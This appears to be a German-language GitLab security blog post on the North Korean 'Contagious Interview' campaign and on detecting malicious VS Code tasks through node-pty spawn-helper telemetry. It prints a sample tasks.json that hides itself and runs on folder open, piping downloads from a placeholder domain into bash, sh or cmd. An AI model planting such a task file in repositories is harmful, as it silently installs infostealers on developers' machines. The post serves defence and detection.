Contagious Interview: IDE-Angriffe erkennen und verhindern

GitLabs Threat Intelligence-Team, Teil des Security Operations-Teams, hat kürzlich einen umfangreichen Artikel veröffentlicht, der nordkoreanische Angriffsmethoden offenlegt und erläutert, wie GitLab diese Akteure verfolgt und gestört hat. Security Operations umfasst auch das Security Incident Response Team (SIRT), Security Logging, Signals Intelligence und das Red Team. Diese enge Zusammenarbeit über verschiedene Sicherheitsdisziplinen hinweg ermöglicht es, Erkenntnisse aus der Threat Intelligence zu nutzen, relevante Bedrohungsakteure über Red- und Purple-Team-Übungen zu emulieren und auf dieser Basis proaktiv Erkennungs- und Präventionsmaßnahmen zu entwickeln.

Parallel zur Entdeckung der nordkoreanischen Angriffsmethoden und der damit verbundenen Contagious Interview-Bedrohungskampagne wurden benutzerdefinierte Kontrollen entwickelt, um ähnliche Malware-Kampagnen zu verhindern – insbesondere solche, die IDE-Angriffe nutzen. In diesem Artikel werden diese Kontrollen sowie die eingesetzten Techniken vorgestellt, mit denen Kunden geschützt, die breitere Security-Community unterstützt und diese bösartigen Akteure weiter zurückgedrängt werden.

Die Threat Intelligence

Der Artikel über nordkoreanische Angriffsmethoden konzentrierte sich auf eine breite Palette von Angriffen, Techniken und Indicators of Compromise (IOCs), die nordkoreanische Staatsakteure aktiv für gezielte und breit angelegte Angriffe einsetzen. Einer der beschriebenen Angriffswege war die Nutzung von Visual Studio Code-Tasks zur Malware-Verteilung. Die Contagious Interview-Bedrohungskampagne nutzt häufig gefälschte Vorstellungsgespräche, um Opfer dazu zu bringen, ein Code-Repository herunterzuladen und zu öffnen – was einen Angriff über VS Code-Tasks ermöglicht.

VS Code-Tasks sind ein Mechanismus zur Automatisierung häufiger Aufgaben, die Entwickler beim Öffnen eines Repositorys ausführen möchten – etwa Linting, Bauen, Paketieren, Testen oder Deployen von Softwaresystemen. Über eine einfache Konfigurationsdatei im Repository, tasks.json, kann Code automatisch ausgeführt werden, sobald das Repository geöffnet wird. Dafür muss dem Repository Vertrauen gewährt werden.

Contagious Interviews Pretexte beruhen häufig auf bösartigen Repositories, sodass der Schwenk zu VS Code-Tasks für die Codeausführung eine einfache Fortsetzung dieses Pretexts ist. Das Ziel wird aufgefordert, das bösartige Repository in VS Code herunterzuladen und zu öffnen – häufig zum Zweck eines Code-Reviews im Rahmen eines Vorstellungsgesprächs. Da die Opfer glauben, sich für eine Stelle zu bewerben, stehen sie unter starkem Druck, dem Workspace des Interviewers zu "vertrauen" – was die bösartige Task ohne ihr Wissen zur Ausführung bringt.

Ein Beispiel für eine bösartige tasks.json-Datei ist unten dargestellt. Sie ist recht einfach aufgebaut: Sie erkennt das Betriebssystem und lädt die nächste Malware-Stufe für die jeweilige Plattform herunter, wobei eine curl | bash-Struktur verwendet wird. Die enthaltenen Domains sind Platzhalter und keine tatsächlichen IOCs. Detaillierte IOCs für diese Akteure wurden in einem früheren Blogbeitrag veröffentlicht.

        "version": "1.0.8",
  "tasks": [
    {
      "label": "env",
      "type": "shell",
      "osx": {
        "command": "curl 'https://www.example[.]com/settings/mac?flag=8' | bash"
      },
      "linux": {
        "command": "wget -q0- 'https://www.example[.]com/settings/linux?flag=8' | sh"
      },
      "windows": {
        "command": "curl https://www.example[.]com/settings/windows?flag=8 | cmd"
      },
      "problemMatcher": [],
      "presentation": {
        "reveal": "never",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "dedicated",
        "showReuseMessage": false
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]

    

Diese bösartige Codeausführung wird typischerweise genutzt, um Infostealer zu deployen, Passwörter und Kryptowährungen zu stehlen und letztlich Persistenz zu etablieren, um die vertrauenswürdigen Zugänge der Opfer zu Unternehmensnetzwerken zu missbrauchen.

Sobald klar war, wie der Bedrohungsakteur initiale Codeausführung erlangt, war das Ziel für präventive Maßnahmen definiert – diese Angriffe abzufangen, bevor GitLab-Workstations ins Visier geraten.

Mehrschichtige Erkennung und Prävention

Das Ziel ist stets, Erkennungs- und Präventionskontrollen so "niedrigschwellig" wie möglich zu entwickeln, da diese Erkennungstypen typischerweise schwieriger zu umgehen sind. Außerdem deutete die Threat Intelligence darauf hin, dass auch andere Projekte, die VS Code als Basis nutzen, für diesen Repository-Angriff anfällig sind. Anstatt sich auf eine VS Code-spezifische Erkennung zu konzentrieren, wurde daher der Bereich "nächste an das Betriebssystem" gesucht, an dem diese bösartige Codeausführung identifiziert werden kann. Damit lassen sich nicht nur Angriffe über VS Code-Tasks erkennen, sondern auch Angriffe über VS Code-Forks oder ähnliche Node-basierte IDEs mit Hintergrundtasks.

Bei der Analyse des VS Code-Quellcodes wurde festgestellt, dass die node-pty.spawn()-Bibliotheksfunktion im gesamten Produkt verwendet wird, wenn Subprozesse benötigt werden. Die node-pty-Bibliothek ist äußerst verbreitet – zum Zeitpunkt der Erstellung dieses Artikels verzeichnet sie über eine Million wöchentlicher Downloads. Sie ermöglicht Node-Anwendungen (einschließlich Electron-Anwendungen wie VS Code), Subprozesse aus einem Node-Kontext heraus zu forken, was zu Aufrufen ihrer eigenen Binary spawn-helper führt. Beim Start von Subprozessen wird spawn-helper als Child-Prozess der aufrufenden Node-Anwendung gestartet.

Nach einer Purple-Team-Operation zur Emulation dieses spezifischen Angriffspfades wurde die EDR-Telemetrie ausgewertet, um nicht nur eine robuste Erkennung für den emulierten Angriff zu entwickeln, sondern diese auch so zu verfeinern, dass nur verdächtige Aktivitäten alarmiert werden – nicht legitime Entwickleraktivitäten. Dabei wurde festgestellt, dass spawn-helper in Situationen aufgerufen wird, in denen VS Code Tasks im Hintergrund starten möchte, ohne Sichtbarkeit oder Interaktion des Nutzers. Ein Code Helper-Binary hingegen wird aufgerufen, wenn neue Prozesse (wie das integrierte Terminal) im Vordergrund mit Nutzerinteraktion gestartet werden.

Das ermöglicht Erkennungen, die ausschließlich auf Subprozesse abzielen, die ohne Wissen der Nutzenden gestartet werden – und False Positives vermeiden, die Subprozesse alarmieren würden, die jemand beim Arbeiten in seiner IDE bewusst startet.

Wie bereits dargestellt, enthält eine häufig gesehene bösartige Task Befehle, die ein curl | <shell> aus einer Task heraus ausführen. Zwar kann curl | bash eine legitime Methode zur Softwareinstallation wie Homebrew sein – in der eigenen Umgebung sollte das jedoch niemals im Hintergrund ohne Wissen der Nutzenden geschehen. Diese Unterscheidung ermöglichte es, spawn-helper-basierte Erkennungen so abzustimmen, dass nicht jede Hintergrundtask alarmiert, sondern nur Verhaltensweisen ausgelöst werden, die in der eigenen Umgebung ungewöhnlich und verdächtig sind. Seit der Implementierung dieser Erkennungstechnik gab es keine False Positives – obwohl ein Großteil der Organisation täglich VS Code verwendet.

Obwohl dieser Artikel sich auf die Erkennung von spawn-helper in der eigenen Umgebung konzentriert, ist dies nur eine von vielen Verteidigungsschichten, die zum Schutz vor IDE-Task-basierten Angriffen implementiert werden können.

Neben dem Einsatz von EDR-Instrumentierung zur Erkennung bösartiger Tasks zur Laufzeit lässt sich die eigene Fleet proaktiv gegen diese Angriffsart absichern, indem globale Konfigurationen gepusht werden, die Task-Ausführungen in VS Code deaktivieren. Falls das für Entwickler zu störend ist, kann die Umgebung auch darauf untersucht werden, wie häufig Nutzende Trusted Workspaces und Trusted Workspace Folders in ihrer typischen VS Code-Nutzung verwenden – und Awareness-Kampagnen gestartet werden, um das Unternehmen über die Risiken dieses Contagious Interview-Angriffspfades aufzuklären.

Zusammenfassung

GitLab Security Operations arbeitet rund um die Uhr, um Kunden und das Unternehmen zu schützen. Durch eng verzahnte Sicherheitsteams gelingt es, handlungsrelevante Threat Intelligence zu produzieren, diese für Adversary-Emulation-Operationen zu nutzen und letztlich technische sowie prozedurale Präventions- und Erkennungstechniken zu entwickeln, die Kunden und Unternehmen schützen.

Da VS Code-Tasks in der Security-Community zunehmend Aufmerksamkeit erhalten, ist es möglich, dass weitere Bedrohungsakteure diesen Angriffspfad für eigene Zwecke nutzen werden. Es ist zu hoffen, dass dieses kleine Beispiel der Arbeit zum Schutz von GitLab und Kunden gegen Advanced Persistent Threats andere dazu inspiriert, ähnliche Maßnahmen zu ergreifen und gemeinsam daran mitzuwirken, diese Bedrohungsakteure weiter zurückzudrängen.

Innovationen und Forschung auf der Security Labs-Website verfolgen.